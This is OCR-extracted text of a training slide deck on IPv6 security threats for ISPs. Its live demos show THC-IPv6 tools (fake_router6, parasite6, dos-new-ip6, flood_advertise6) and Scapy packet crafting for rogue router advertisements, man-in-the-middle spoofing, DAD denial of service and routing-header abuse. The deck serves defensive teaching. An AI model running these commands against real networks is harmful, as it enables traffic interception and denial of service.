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Introduction

MD Brasil Information Technology and Telecommunications

—> ISP (Access and Hosting Services)

—> Authorized Telecommunications operator in Brazil.
—> Mikrotik Distributor and Training Partner.

—> Consulting services

www.mdbrasil.com / www.mdbrasil.com.br



http://www.mdbrasil.com/
http://www.mdbrasil.com.br/

Objectives and Target Audience

Objectives:

To understand conceptually the existing threats related to IPv6 and how they
differ from the well known IPv4 ones.

To propose security measures and best practices to fight against potential
attacks, specially using Mikrotik RouterOS.

Target Audience:
ISP’s and WISP’s running or planning to run IPv6 on their networks.

IT professionals responsible for securing networks.

Pre-requisites:
Basic knowledge of IPv6



Why do We need IPv6?
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The long count of the universe will expire on
December, 215, 2012 !



Why do we need IPv6 ?
ZDnet - April 20, 2011

[t’s official: Asia’s just run out of
[Pv4 Addresses

By Stewven 1. Vaughan-Michols | &pril 14, 2011, 2:27pm POT

Summary: Now, will you take switching over to IPv6 seriously?

Well, that was fast. The Asia Pacific Network Information
Centre (APNIC) has just released the last block of
Internet Protocol version 4 (IPv4) addresses in its
available pool. We knew this was coming when the
Internet Corporation For Assigned Names and Numbers
(ICANN) and the Internet Assigned Numbers Authority
(IAMA) announced in February that the last of the
world’s remaining IPv4 blocks had been assigned to the
Regional Internet Registries (RIR). What we didnt know
was that APNIC would run out quickly. I, and most other
people, thought that its supply of IPv4d addresses would
last until at least early summer. We were wrong.




Why do we need IPv6 ?

Some facts and numbers :

—> Almost 2 billion Internet users
—> 28,7% of world population
—> 444 8 % of increase on the last 10 years

- In 2014, the total amount of Cell Phones, Smart Phones, Netbooks and 3G
modems will reach 2.25 billion!

—> Internet of the things is coming !

There are few IPv4 blocks remaining on RIR’s!
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Why do We Need to
*10) Discuss IPv6 Security
Now?
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Why do We Need to Discuss IPv6 Security Now?
ZDnet - February 20, 2012

First IPv6 Distributed Denial of
Service Internet attacks seen

By Steven J. Vaughan-Nichols | February 20, 2012, 2:48pm PST

Summary: You know IPv6 must finally be making it: The first IPv6 Distributed Denial of Service
Internet attacks have been spotted in the wild.

The clock is running out on IPv4 on the Internet, but
even so the next generation of Internet traffic
protocols, IPvE, is being adopted very slowly. But, it
seems IPvE is finally making it to broad acceptance.
Arbor Metworks reports that the "latest milestone in
IPvE development: the first observations of IPva
Distributed Denial of Service (DDoS) attacks.

IPvE Security Concems

Survey Respordents
§F ¥ F 53

This can only be happening because the number of
IPvE-based end-points have grown large enough that [P —

possible injection points for IPve-based attacks is now :“:&F}ijnh

large enough for attackers to use it. At the same, time :;m_::w;w'-r-u

they're finding targets on the IPva-enabled Internet i

worthy of the effort needed to craft and execute i i

attacks.




Why to discuss IPv6 Security ?

Some facts about IPv6 security:

—> IPv6 development started in the early 1990 with few focus on security;

—> Some IPv4 well known security breaches like arp poisoning, address spoofing,
etc have their correspondent on IPvG;

—> Some new IPv6 features create new vulnerabilities as well as transition process;
—> There are already many IPv6 hacking tools available for anyone on the Internet;

—> IPv6 deployment is still slow and vulnerabilities are not yet widely shared, but this
scenario is about to change.

Time to discuss IPv6 security is now !




IPv6 — New Features
New Threats

1) Larger Address Space
End to end architecture allowing full tracking and some applications that were
impossible with [Pv4 + NAT;
-> Security Impact: changes the way network scanning and
reconnaissance will be done. New BOGONS threats.

2) Enhanced Header:
More simple and efficient header with 40 fixed bytes and possibility of extension
headers. Less processing overhead;
-> Security Impact: vulnerabilities related to extensions headers open
new avenues for attacks




IPv6 — New Features
New Threats

3) Improved ICMP (ICMPv6) and Multicast management

More efficient, allowing auto-configuration, neighborhood discovery and multicast

group management;
-> Security Impact: like in IPv4, no authentication can leads to old-
style attacks and new other possible. Multicast capabilities can be used
to gather important information about the network (reconnaissance).

4) Auto Configuration:
Painless configuration for end users. Very useful feature for the purposes of the
“Internet of the things”;
- Security Impact: End users big exposition to malicious attackers
specially at public locations;
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IPv6 — New Features
New Threats

5) Fragmentation only at source:
More efficiency on data transmission and less overhead on intermediary routers.
“Jumbograms” packets with larger payloads for greater efficiency;
-> Security Impact: More ICMPv6 dependency, making its control
more difficult. New attacks based on forged ICMPv6 messages;

6) Mobility support:
Mobility support integrated to the protocol will allow nomadic and roaming
applications;
- Security Impact: Connection interception, with new styles of man-
in-the-middle and denial of service attacks




IPv6 — New Features
New Threats

7) Transition mechanisms and translation techniques:
There will be no “D” day to switch IPv4 world to IPv6. To allow a transition most
systems will have to run dual-stack and several tunneling techniques will be
employed;
-> Security Impact: Dual Stack requires double efforts from network
administrators and tunneling / translation techniques can be exploited to
launch a series of new attacks;
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IPv6 Security — New Features
IPSec support ?

s C[Net — May 12, 2011

Reviews

http://news.cnet.com/d-link-helps-shift-ipve-readiness-to-a-high-gear/8301-
17938 105-20062381-1.html

For this reason, the need to move to a new IP version is imminent. The successor, Internet
Frotocol version 6 (IPv6), is capable of providing quite a few more addresses, with a total of
some 340 undecillion. (It will take a long time to count but each undecillion equals a trillion trillion
trillion.) Basically it's safe to say that IPvE will give each person on Earth at least 3, or maybe

even 5 or 10 IP addresses and still have quite a sizable amount
Apart from that, IPv6 also offers other improvements, such aster speed and better

Enhanced network security: Flug in an
|IPvE-enabled D-Link router and the new
securty feature 1s automatically turned on.
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What About IPSec Support 777

At the beginning of protocol development, IPSec was a mandatory feature for all
IPv6 compliant device. The use however was optional.

No matter what the standards had established, several vendors ignored such
requirement.

IETF changed the IPSec support to recommended instead of mandatory.
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1) Larger Address Space Impacts:
Internal and external reconnaissance, bogons threats;

2) Protocol Vulnerabilities and Possible Attacks:

Auto-configuration, Neighbor Discovery, Duplicate Address
Detection Issues, Redirect Attacks, Header manipulation, etc

3) Countermeasures Using RouterOS by an ISP Point of View
Securing ISP perimeter, protecting customer networks, and
public locations
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Internal and external reconnaissance, bogons threats;
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Auto-configuration, Neighbor Discovery, Duplicate Address
Detection Issues, Redirect Attacks, Header manipulation, etc

3) Countermeasures Using RouterOS by an ISP Point of View
Securing ISP perimeter, protecting customer networks, and
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Larger Address Space and its impacts on security

IPv6 has the following number of addresses:

2 M28 = 3,40282366920938463463374607431772+38

This big number will impact security in 2 main aspects:

—> Reconnaissance (Scanning) process will be different
—> There will be a lot of unused IP’s very useful for attacks
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Reconnaissance

Reconnaissance purpose is to gather as much information as possible from victim’s

networks
Passive Scanning
Social Engineering, DNS research, etc J
Active Scanning Database for
Finding targets, guessing topology, etc attack
Active Scanning W

Finding services and vulnerabilities
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Reconnaissance in |IPv4

Reconnaissance in IPv4 networks is trivial and an attacker can have network
information on few seconds with tools like Nmap

maia@maia-laptop:~

Starting Nmap 5.00 ( http://nmap.org ) at 2012-82-11 17:25 BRST
Host iEEB—EEl—E—?.541.aﬂll.ap.plala.ﬂr.jp izzu 1.£ 71 1r up (8.36s latency).

221-2-123.541.a@1l.ap.plala.or.] (8.33s latency).
Host 1220-221-2-205.s541.a@ll.ap.plala.or. (0.355 latency).
Nmap done: 256 IP addresses (3 hosts up) rcannwd in 14 Lz chnndr
maia@maia-laptop:~$ |

After knowing the hosts that are alive, Nmap can be used to gather further
information about the hosts and launch several attacks. Other tools like Nessus
can help finding vulnerabilities

= A/24 (254 hosts) can be scanned in less than 30 seconds!
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Reconnaissance in |IPv6

Minimum recommended allocation for end users is a /64 (for auto configuration to
work)

264 = 18.446.744.073.709.551.616 hosts

With traditional method (brute scanning), several years would be needed to scan the
whole space even for a single home user.

For this reason, one common belief related to IPv6 security is that scan attacks are not
feasible.

In fact, if one takes in account that hosts were distributed randomly among the whole
space, the above statement would be correct. But this situation is far from being the
reality.
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Creation of the link local address

Original MAC Address

FE80 + Interface Identifier 00 0C 42 11 22 33

00 0C 42 1M1 22 33

000000(—|_
|

oooo10|j

02 0C 42 FF FE 11 22 33

Interface |dentifier

http://standards.ieee.org/regauth/oui/tutorials/EUI64.html
24
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Creation of the Link Local Address

| | " Address Li
B Interface <ether?> —_— — u
General | Ethemet Status  Trafic e || =] || 82 i Find
Name: |ether? | Address ¢ | Interface Advertizse |
Type: | Ethemet | G 2804:40:111:13:1/64 ipvEdoopback  no
_ G e 2804:40:111:1315::1/64 etherd no
MTU: | 1500 |
| | DL  fel0:20c42Ffe13:1313/64 ipvEdoopback no
ZMTU: (1522 DL =PfeB0: 20c: 42 fed5:eaf3/64 ether no
MAC Address: |00:0C:42:45:EA:F4 '

00:0C:42:45:EA:F4

Mikrotik Device Variable Part




Critical Systems Scanning from outside world

Scanning from outside world can be facilitated:
=> Usually low numbers configured for servers (2001:db8::1, 2001:db8::2, etc)

- “Wordy” IP Addresses (2001:db8:babe:beef::dead, 2001:db8:face::c0de)
— Public information on DNS’s servers and other databases.

7 {ggﬁ\j
@ ><‘;——”——|\w)

AS 100 BGP Session AS 200




Reconnaissance from Insiders

Very easy reconnaissance with new Multicast addresses.

Pinging selectively All Routers, All DHCP Servers, etc an attacker can easily
gather information about the target network.

Malicious internal customer or compromised machine




Interesting Multicast Addresses:

Address
FF02::1
FF02::2
FF02::5
FF02::6
FF02::9
FF02::D
FF02::1:2

Multicast Addresses

Description

Find Nodes on a subnet

Return Local Subnet Routers
OSPF Routers

Designed OSPF Routers (DR’s)
RIP Routers

PIM Routers

DHCP Agents

28
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Live Demo

ff02::1 (All Hosts)

maia@maia-laptop:~$ sudo ping6 -I wlan® ff02::1

PING ff02::1(ff02::1) from fe86::223:14ff:fe21:d4a8 wlan®: 56 data bytes

64 bytes from fe80::223:14ff:fe21:d4a8: icmp seg=1 ttl=64 time=0.097 ms

64 bytes from fe80::a300:27ff:fe20:1052: icmp seg=1 ttl=64 time=0.328 ms (DUP!)
64 bytes from fe80::a00:271f:1e20:1052: icmp seg=1 ttl=64 time=0.392 ms (DUP!)
64 bytes from fe80::20c:42ff:fe61:b3c3: icmp seq=1 ttl=64 time=0.917 ms (DUP!)
64 bytes from fe80::20c:42ff:fe0c:a003: icmp seq=1 ttl=64 time=1.20 ms (DUP!)
64 bytes from fe80::20c:42ff:fe3a:8e24: icmp seg=1l ttl=64 time=1.63 ms (DUP!)
64 bytes from fe80::223:14ff:fe21:d4a8: icmp seq=2 ttl=64 time=0.107 ms

64 bytes from fe80::a00:27ff:fe20:1052: icmp seq=2 ttl=64 time=0.299 ms (DUP!)
64 bytes from fe80::300:271f:7e20:1052: icmp seq=2 ttl=64 time=0.375 ms (DUP!)

ff02::2 (All Routers)

mala@mala-laptop:~$ sudo ping6 -I wlan® ff02::2

PING ff02::2(ff02::2) from fe80::223:14ff:fe21:d4a8 wlan®: 56 data bytes
from fe80::20c:42ff:fe61:b3c3: icmp seg=1 ttl=64 time=8.77 ms
from fe80::20c:42ff:fe61:b3c3: icmp seq=2 ttl=64 time=0.804 ms
from fe80::20c:42ff:fe61:b3c3: icmp seq=3 ttl=64 time=0.904 ms
from fe80::20c:42ff:fe6l:b3c3: icmp seq=4 ttl=64 time=0.832 ms
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Live Demo

ff02::5 (All OSPF Routers)

maia@maia-laptop:~$% sudo ping6 -I wlan@ ff@2::5

PING ff@2::5(ff02::5) from fe80::223:14ff:fe2l:d4a8 wland: 56 data bytes

64 bytes from fe8@::20c:42ff:fe6l:b3c3: icmp seg=1 ttl=64 time=0.826 ms

64 bytes from fe8@::20c:42ff:fe@c:a083: icmp seg=1 ttl=64 time=1.26 ms (DUP!)
64 bytes from fe8@::20c:42ff:fe6l:b3c3: icmp seq=2 ttl=64 time=06.87@ ms

64 bytes from fe80::20c:42ff:fe@c:a003: icmp seq=2 ttl=64 time=1.17 ms (DUP!)
64 bytes from fe8@::20c:42ff:feb6l:b3c3: icmp seg=3 ttl=64 time=06.864 ms

64 bytes from fe8@::20c:42ff:fe@c:a0@3: icmp segq=3 ttl=64 time=1.15 ms (DUP!)

ff02::1:2 (All DHCP Servers)

maia@maia-laptop:~% sudo pingé -I wlan@ ff@2::1:2

PING fT02::1:2(ff02::1:2) from feB80::223:14ff:fe2l:d4a8 wlanb: 56 data bytes
64 bytes from fe8@::28c:42ff:fe6l:b3c3: icmp seq=1 ttl=64 time=9.80 ms

64 bytes from fe8@::28c:42ff:fe3a:8e24: icmp seq=1 ttl=64 time=10.3 ms (DUP!)
64 bytes from fe80::20c:42ff:fe6l:b3c3: icmp seq=2 ttl=64 time=0.916 ms

64 bytes from feB80::20c:42ff:fe3a:8e24: icmp seq=2 ttl=64 time=1.25 ms (DUP!)
64 bytes from fe80::20c:42ff:fe6l:b3c3: icmp seq=3 ttl=64 time=0.820 ms

64 bytes from fe80::20c:42ff:fe3a:8e24: icmp seq=3 ttl=64 time=2.56 ms (DUP!)
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Live Demo

THC utility to find out all alive hosts
(Inside a network, similar to nmap —sP)

maia@maia-VirtualBox:~/thc-ipv6-1.8% sudo ./alive6
.falive6 v1.8 (c) 2811 by van Hauser / THC <vh@thc.org> www.thc.org

Syntax: ./alive6 [-dlmrS] [-W TIME] [-i FILE] [-o FILE] [-s NUMBER] interface [
nicast-or-multicast-address [remote-router]]

Shows alive addresses in the segment. If you specify a remote router, the
packets are sent with a routing header prefixed by fragmentation

maia@maia-VirtualBox:~/thc-ipv6-1.8% sudo ./alive6 eth® ffe2::1
[sudo] password for maia:

Alive: 2001:db8::1

Alive: 2001:db8::3

Alive: 2001:db8::224:beff:febb:797T

Alive: 2001:db8::2

Found 4 systems alive




AGENDA

1) Larger Address Space Impacts: ~/
Internal and external reconnaissance, bogons threats;

2) Protocol Vulnerabilities and Possible Attacks:

Auto-configuration, Neighbor Discovery, Duplicate Address
Detection Issues, Redirect Attacks, Header manipulation, etc

3) Countermeasures Using RouterOS by an ISP Point of View
Securing ISP perimeter, protecting customer networks, and
public locations




Address Configuration Issues

Stateful configuration can be implemented with a DHCPv6 server.
DHCPVG6 server is vulnerable to the same Layer 2 attacks existing for IPv4.
http://mikrotikbrasil.com.br/artigos/Layer2_Security Poland 2010_Maia.pdf

Stateless auto configuration is possible on /64 Network and hosts will be
configured automatically, without DHCP. The idea behind auto configuration
was to offer a way to do painless configurations for home users and allow all
devices (e.g. household ones) to gain global connectivity.



http://mikrotikbrasil.com.br/artigos/Layer2_Security_Poland_2010_Maia.pdf
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Stateless Configuration on RouterOS

1 — Configure a global IPv6 address on the interface clients are connected to.
Keep advertise option checked.

7| New IPv6 Address [5m]

Address: |25ﬂ4:4'|]:111::1f64 - | 0K
Imterface: |w|ar1'| / " ¥ | Cancel

[ EUIB4 / Apply
Advertis

Disable
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Stateless Configuration with RouterOS

2 — Configure Neighbor Discovery on clients interface (or all), enabling the option
Advertise DNS

| -
Interfaces Interface: |w|an'| " * | OK
Wireless RA Interval: [200-500 |
erval:
Bridge 5 —
o RA Delay: |3 |s Apply
| MTU: | |~ [ Dsabie |
Switch Dizable
Mesh Reachable Time: | |" 8
Py
IP 3 Retransmit Interval: | |v &
ove
| 1Pve M | Addresses RA Lifetime: | 1800 |~ s
MPLS
e Firewall Hop Limit: | | h
. - N? Advertise MAC Address
Routing Meighbors Advertise DNS
System ' Routes [_| Managed Address Corfiguration

["] Other Corfiguration
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Stateless Configuration with RouterOS

3 — Configure a DNS on /ip dns

5] DNS

Static | Cache

[#][=] [l[=] [7]

| # | |Name

5.12 or newer

| DNS Settings [

v Servers: [201.71.240201
Servers: |201.71.240.100 £ /] oK y /4 /
2804:40:1::201
201.71.240.101 * Cancel | /
ﬁ 201.71.240.202
2804:40:bebe::1 a | J/

2804:40:1:202
Allow Remote Requests
Max UDP Packet Size: |512 |
Cache Size: | 2048 | KiB
Cache Used: |4 |

Alow Remote Requests
Max UDP Packet Size: |512

Cache Size: |2048
Cache Used: 245

2



Discovering Routers and Prefixes

.ﬁf

2001:db8:bad: 1/64T 2001:db8:bad:faca:dad0:bad/64

ICMPV6 Type 134 (Router Advertisement)

Source: Link-local address . : .
Contents: Options, prefixes, lifetime and > To: FF02::1 (All nodes on link)

auto configuration flag
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Auto Configuration Issues
Attacks Against Customers in Public Locations
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Using IPv6 to attack Customers
on a public Hotspot (IPv4 AP)

AP with only IPv4
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Using IPv6 to attack Customers
on a public Hotspot (IPv4 AP)

()
AP with only IPv4
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Using IPv6 to attack Customers
on a public Hotspot (IPv4 AP)

AP with only [Pv4
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Using IPv6 to attack Customers
on a public Hotspot (IPv4 AP)

AP with only [Pv4

IPv6 Traffic will flow all through the
Attacker !
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Using IPv6 to attack Customers

on a public Hotspot (IPv6 AP)
AP |Pv4 and

IPv6 ready ((9)) /_/\/\\
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Using IPv6 to attack Customers
on a public Hotspot (IPv4 AP)

AP IPv4 and
IPV6 ready
SRS
) ’
/ ’
/,
/

IPv6 Traffic will flow all through the
Attacker !
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Live Demo

Fake Router in action

mala@maia-VirtualBox:~/thc-ipv6-1.8% sudo ./fake routeré
./fake router6 v1.8 (c) 2011 by van Hauser / THC <vh@thc.org> www.thc.org

syntax: ./fake routeré [-HFD] interface network-address/prefix-length [dns-server [rou
ter-ip-link-local [mtu [mac-address]]]]

Announce yourself as a router and try to become the default router.
If a non-existing link-local or mac address is supplied, this results in a DOS.
Option -H adds hop-by-hop, -F fragmentation header and -D dst header.

mala@malia-VirtualBox:~/thc-1pv6-1.8% sudo ./fake router6 eth® 20601:db8:bad:bad::1/64

LAl T A

Starting to advertise router Zﬂﬂl:dbﬂ.bad.had::1_fFre55 Contirov=C~tg—ond)
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Live Demo
Windows Machine

Adaptador Ethernet eth@:

Sufixo DMS especifico de conexdo ‘
Endereco IPvb : 2001 :db8:bad:had:Ba:?78b2:-6fd4:3aZd
Endereco IPub SE8EAsAhR taaaat A Ra s 0BL G TOd s FaZd
Endereco IPub : 2804:-40:bhBc4:83af:Ba:?78b2:6fd4:3aZd
Enderego IPv6 Temporario : 2001 :dbh8:bhad:bhad:aBe?:21d45:3aB85:27al
Endereco IPuv6 Temporario : 2001 -dbB:aaaaB:afe?:21d5:-3a85:27a8
Enderego IPv6 Temporario : 2804:-4@8:hBc4:-83af -afe?:2145:3aB5:-27a8
Endereco IPvb de link local : fedB:-:-Ba:?Bb2:6fd4:3a2d=11
Endereco : 192.168.155.251
Mascara de Sub-rede : 255 .255.255.8
Gateway Padrio : feBW-28c:42ff cfeblzh3cdxil
felB:--af@@:27ff-fe2@:1852:x11
192 .168._155.1

Linux Machine

Link encap:Ethernet HwWaddr 80:23:14:21:d4:a8

inet addr:;192.1£8+155-252—8c2s1:192.168.155.255 Mask:255.255.255.0
inet6caddr: 2001:db8:bad:bad:223:1417:fe2l:d4a8/64 Scope:Global
ineté addri288i+db8:a22a:0+22571411: fe2l:d4a8/64 Scope:Global

inet6 addr: feBB..223.14ff fe2l:d4a8/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1560 Metric:1

RX packets:179654 errors:0 dropped:@ overruns:@ frame:@
TX packets:146694 errors:0 dropped:0 overruns:@ carrier:e
collisions:@ txqueuelen:1800

RX bytes:104212149 (104.2 MB) TX bytes:36648690 (36.6 MB)
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Neighbor Discovery, Address Resolution
and Man-in-the-Middle attack




Address Resolution on IPv4

IPv4 = 192.168.1.200/24
MAC: AB:CD:EF;22:22:22

IPv4 = 192.168.1.100/24
MAC: AB:CD:EF:11:11:11

ARP Request: > To: 192.168.1.255
Who has 192.168.1.200 tells 192.168.1.100 (Broadcast Address)
ARP Response:
To: 192.168.1.100 < | have the IP 192.168.1.200

and my MAC is AB:CD:EF:22:22:22
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Neighbor Discovery on IPv6

2001:db8::200
MAC: AB:CD\EF:22:22:22

2001:db8::100
MAC: AB:CD:EF:11:11:11

ICMPV6 Type 135 (Neighbor Solicitation)
Who is 2001:db8:200 ?

> To: FF02::1:FF00:0200

ICMPV6 Type 136 (Neighbor Advertisement)
2001:db8::200 is at AB:CD:EF:22:22:22

To: 2001:db8::100 <




Neighbor Discovery Attacks

)/ 2001:db8::200
MAC: AB:CD:EF;22:22:22

2001:db8::100
MAC: AB:CD:EF:11:11:11

ICMPV6 Type 136 (Neighbor Advertisement) s Attacker sends specific NA's or
2001:db8::200 is at BA:DB:AD:33:33:33:33 floods the entire network
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Fake Advertisements

maia@maia-VirtualBox:~/thc-1ipv6-1.8% ./fake advertiseb
./fake advertise6 v1.8 (c) 2011 by van Hauser / THC <vh@thc.org> www.thc.org

Syntax: ./fake advertise6 [-DHF] interface ip-address-advertised [target-address [mac
address-advertised [source-ip-address]]]

Advertise ipvbé address on the network (with own mac if not defined)
sending it to the all-nodes multicast address if no target specified.
Op1i27 -hb 2drs a koo Yy -nop header, -F a one shot fragment header,

-D adds a large destination header which fragments the packet.

Flood Advertisements

maia@maia-VirtualBox:~/thc-ipv6-1.8% sudo ./flood advertiseé
./Tlood advertise6 v1.8 (c) 2011 by van Hauser / THC <vh@thc.org= www.thc.org

Syntax: ./flood advertise6 [-r] interface

Flood the local network with neighbor advertisements.
maia@maia-VirtualBox:~/thc-ipv6-1.85 |
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Demo

Fake Advertisements

eth® 2001:db8::1
nd)

Flood Advertisements

maia@maia-VirtualBox:~/thc-ipv6-1.8% sudo ./flood advertise6 ethe

Starting to flood network with neighbor advertisements on eth@® (Press Control-C to end
, @ dot is printed for every 100 packet):
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Demo

Effects on a Windows machine — fake advertisements

C:wUsers~Maia~Desktoprping 2881 :db8::1 —t

Dizparando 2081 :dbh8::1 com 32 hyteszs de dados:
de 2081 :db8::1: tempo<ims
de Z2081:db8::1: tempo<{ims
de 28081 :db8::1: tempo=8m=
de 2081 : tempo<ins
de 2881 : : tempo<ims
de 2081 :dh8 tempo<ins
de 28081 :db8 tempo<ims
de 2081 :dh8 tempo<ins
de 28081 :db8 tempo<ims
de 2081 :dhbh8: tempo=28mns
de 28081 :db8::1: tempo<ims
de 2081:db8:-:1: tempo<ims
o tempo limite do pedido.
de 2081 :db8:-:1: tempo=bims
o tempo limite do pedido.

sgotado o tempo limite do pedido.

Host de destino inacessivel.

Host de destino inacessivel.

Host de destino inacessivel.

Host de destino inacessivel.

o tempo limite do pedido.
o tempo limite do pedido.
o tempo limite do pedido.
de 2081 :db8::1: tempo=77ms




Man-In-the-Middle Attack

o N g
2001:db8::1 g

MAC: AB:CD:EF:11:11:11

i/ 2001:db8::BOBO
MAC: B0:B0:B0:B0:B0:B0

N

4

ICMPvV6 Type 136 (Neighbor Advertisement)
2001:db8::B0OB0 is at BA:DB:AD:BA:DB:AD:BA

To: 2001:db8::1 <€

ICMPv6 Type 136 (Neighbor Advertisement)
2001:db8::1 is at BA:DB:AD:BA:DB:AD:BA

> To: 2001:db8::BOB0




Man-In-the-Middle Attack

)/ 2001:db8::BOB0
MAC: AB:CD:EF;22:22:22

2001:db8::1
MAC: AB:CD:EF:11:11:11

ICMPvV6 Type 136 (Neighbor Advertisement)
2001:db8::B0OB0 is at BA:DB:AD:BA:DB:AD:BA

To: 2001:db8::1 <€

ICMPv6 Type 136 (Neighbor Advertisement)
2001:db8::1 is at BA:DB:AD:BA:DB:AD:BA

> To: 2001:db8::BOB0




Live Demo

maia@maia-VirtualBox:~/thc-ipv6-1.8% ./parasite6
./parasite6 v1.8 (c) 2011 by van Hauser / THC <vh@thc.org> www.thc.org

Syntax: ./parasite6 [-1RFHD] interface [fake-mac]

This is an "ARP spoofer" for IPv6, redirecting all local traffic to your own
system (or nirvana if fake-mac does not exist) by answering falsely to
Neighbor Solitication requests

Option -1 loops and resends the packets per target every 5 seconds.

Option -R will also try to inject the destination of the solicitation

NS security bypass: -F fragment, -H hop-by-hop and -D large destination header

mala@maia-VirtualBox:~/thc-ipv6-1.8% sudo ./parasite6 -1R eth@
Remember to enable routing (ip forwarding), you will denial service otherwise!
Started ICMP6 Neighbor Solitication Interceptor (Press Control-C to end)

C:sUzerssMaiarping 2881 :dbh8::1 -t

Dizparando 2801 :db8::21 com 32 byutes de dados:
de 2081 :db8:-:1: tempo<ims
de 2001 :db8::1: tempo<ims
de 2001 :dbB8::1: tempo<ims

de 2881:dbh8::1: =4ms i i
gg St 11 tempo 333 Effects on a Windows Machine
: t:l: ot = i
uEtempu limite dueggﬁidz. (JUSt DOS attaCk)
tempo limite do pedido.

o
o tempo limite do pedido.
o tempo limite do pedido.
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Duplicate Address Detection Issues




Duplicate Address Detection (DAD)

To prevent duplicate addressing one host must check weather its chosen address is
already in use by another node in the network. DAD must be executed before using
any IPv6 address, including Link-Local addresses. After a boot or a changing on P

configuration, the host sends a NS using its own IPv6 Address

2001:db8::1
MAC: AB\CD:EF:11:11:11

ICMPV6 TypeX(35 (Neighbor Solicitation) _ o _
Who is 2001:db8:100 ? > To: FF02::1:F£00:0001

If the host receives a response it will not use the IP for communications.




Duplicate Address Detection Issues

2001:dbg:1 L o

L

ICMPv6 Type 136 (Neighbor Advertisement)

XXXX:XXXX: X is at BA:DB:AD:BA:DB:AD:BA _ o
(Answer with it own MAC, for every NS it receives > To:2001:db8:1

on a specific interface)

Useful to cause a denial of service and to impersonate critical devices
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Live Demo

mala@maia-VirtualBox:~/thc-1ipv6-1.8% ./dos-new-1p6
.fdos-new-1p6 v1.8 (c) 2011 by van Hauser / THC <vh@thc.org= www.thc.org

Syntax: ./dos-new-1p6 interface

This tools prevents new 1pvé interfaces to come up, by sending answe

rs to
duplicate ip6 checks (DAD). This results in a DOS for new 1pv6é devices.

maia@malia-VirtualBox:~/thc-ipv6-1.8% sudo ./dos-new-ip6 eth@
Started ICMP6 DAD Denial-of-Service (Press Control-C to end)

IPv6 Address List

CEIEEE o -
|.ﬁ%:|.dress i |Fr|:|m Pool |Interface |.ﬁ.dvertise ||v DAD attaCk d|dn t Succeed Over a
= 2001:dba:: 164 bridgel . .
G qr2001:dbs:bod:: 164 I:-::-:E:l :2 M|krot|k Routeros bOX |
G 2001:dbS:abod:: 164 etherl no
DL FfecD::Z0ci42ffifellill... bridge1 no
DL 9PfeD::Z0c:42ff:fe3d:se. .. etheri no

61
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ICMPV6 Redirect Issues




ICMPv6 Redirect

Redirection is a feature based on ICMPV6 that allows a router to signal a better route
to some host.

2001:db8:999::/0

(t,ﬁ“

&

2001:db8:1 % 4 2001:db&:2 T

\\i/‘ \\i/

2001:db8::100

To Default gateway
(2001:db8::1)

ICMPV6 Redirect (137)
(Better Route = 2001::db8::2)

Further communication to 2001:db8:999::/0 will be sent through 2001:db8::2 0
L L e T L e st 0 O T L i i

Packet to 2001:db8::999: X —>

To 2001:db8::100 <




ICMPv6 Redirect Attack

4£

2001:db8::B0BO 2001:db8::1 K

ICMPV6 Redirect (137)
(Better Default Route = 2001:db8::BAD)

> To 2001:db8::BOBO

Further communication to 2001:db8:999::/0 will be sent through 2001:db8::BAD
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Routing Header Issues
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|IPv6 Protocol Header

Version Traffic Class Flow Label
(4 bits) (8 bits) (20 bits)
Payload Length Next Header Hop Limit
(16 Bits) (8 bits) (8 bits)
Source Address
(128 bits)
Destination Address
(128 bits)
______________________ |
Next Header I
Next Header Information |
I
|




IPv6 Headers Vulnerabilities

IPv6 protocol specifications (RFC 2460) does not impose constraints for the use
of extensions headers.

Several attacks could be done using extensions headers vulnerabilities:

—> Routing Header type 0 (RHO)
—> Hop-by-hop options Header / Router Alert Attack
—> Fragmentation Header issues




Hop-by-Hop Options and Router Alert Attack

The Hop-by-hop options header (next header number 0) must be inspected by
every node along the packet's path.

The presence of the Router Alert options indicates to a router that it should take a
closer look at the contents of the packet header.

—> Attackers can abuse this feature crafting packets with Router Alert, consuming
resources along the path.

e

eSS S




Live Demo

maia@maia-laptop:~$% sudo scapy

Welcome to Scapy (2.0.1)

>>> (est = '2001:db8:bebe: :bobo"

=>> rapkt = IPv6(dst=dest, nh=60)/IPv6ExtHdrDestOpt(nh=6, options=[RouterAlert()
1)/TCP(sport=1080, dport=80)

>>> rapkt.show2 ()

>>> rapkt.show2
### [

unans=sr(rapkt, timeout=2
ission:
1 to send 1 packets.

2 packets, got 1 answers, remaining @ packets




Routing Header Type 0 (RHO) Issue

IPv6 defines 3 types of routing headers:

—> Type 2: Used for mobility in IPv6 (MIPv6) and only understood by MIPv6
compliant stacks.

—>Type 1: Unused

—> Type 0: Technique intended to allow a sender to partially or completely specify
a route to a packet. Similar to IPv4 “loose source routing”, this feature can be
abused in several ways.




RHO Attack

RHO can be abused on several ways. A common use is to spoof a source
address and still receive return traffic.

==
S~

3

Victim’s
Amplification attacks and other DoS attacks can also use Machine
RHO.




Live Demo

maia@maia- laptop:~% sudo scapy

[sudo] password for maia:

Welcome to Scapy (2.0.1)

==»> Attacker = '28081:db8:bad: :bad’

=== Victim '2001:db8:bobe: :bObA"

>»> Midway '2081:db8:abcd:: 1"

>»>> rhepkt = IPvG(src=Attacker, dst=Victim)/IPvBExtHdrRouting(addresses=[Midway]
) /ICMPv6ECchoRequest()

>>> rhepkt.show2()

## 1###




>>> rhepkt.show2() >>> rhepkt.show2()
### [ 1#a# ### [

>>> ans, unans=sr(rhepkt)
Begin emission:
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Packet Fragmentation

Fragmentable Part
Link Layer IPv6 Transport Link Layer
Header Header Header FEILEL Trailer
Fragment 1 l Fragment 2 !
Link Layer IPv6 Fragment | Transport Pavload Link Layer
Header Header Header Header y Trailer
Fragment 1
Link Layer IPv6 Fragment | Transport Pavload Link Layer
Header Header Header Header y Trailer
Fragment 2
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Fragmentation Attacks

Some Issues due to fragmentation (valid for IPv6 and IPv4)
—> Upper layer information might not be contained within the first fragment

—> Before accurate decision can be made, Firewalls should reassembly all
fragments from a fragmented packet. Fragmentation could be used to by pass
Firewall systems

—> Fragmentation can be used by attackers to attack a final node exploring its
weakness on how packets are reassembled. For instance, sending a packet with
a missing fragment and forcing node to wait for it;

A



Fragmentation Attacks

Fragmentation on |Pv6
- In IPv6, if necessary, fragmentation is done only at the source node.

—> PMTUD (Path MTU discovery) is essential for IPv6 (desirable for IPv4).
PMTUD relies no ICMPv6 messages “packet too big”

Packet too big




Fragmentation Attacks

Fragmentation on [Pv6

—> Forging messages “packet too big” on behalf of an legitimate router, will lead
to slowing services to that destination

—> Minimum IPv6 MTU size is 1280 bytes.

Packet too big
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Are those all possible the attacks ?

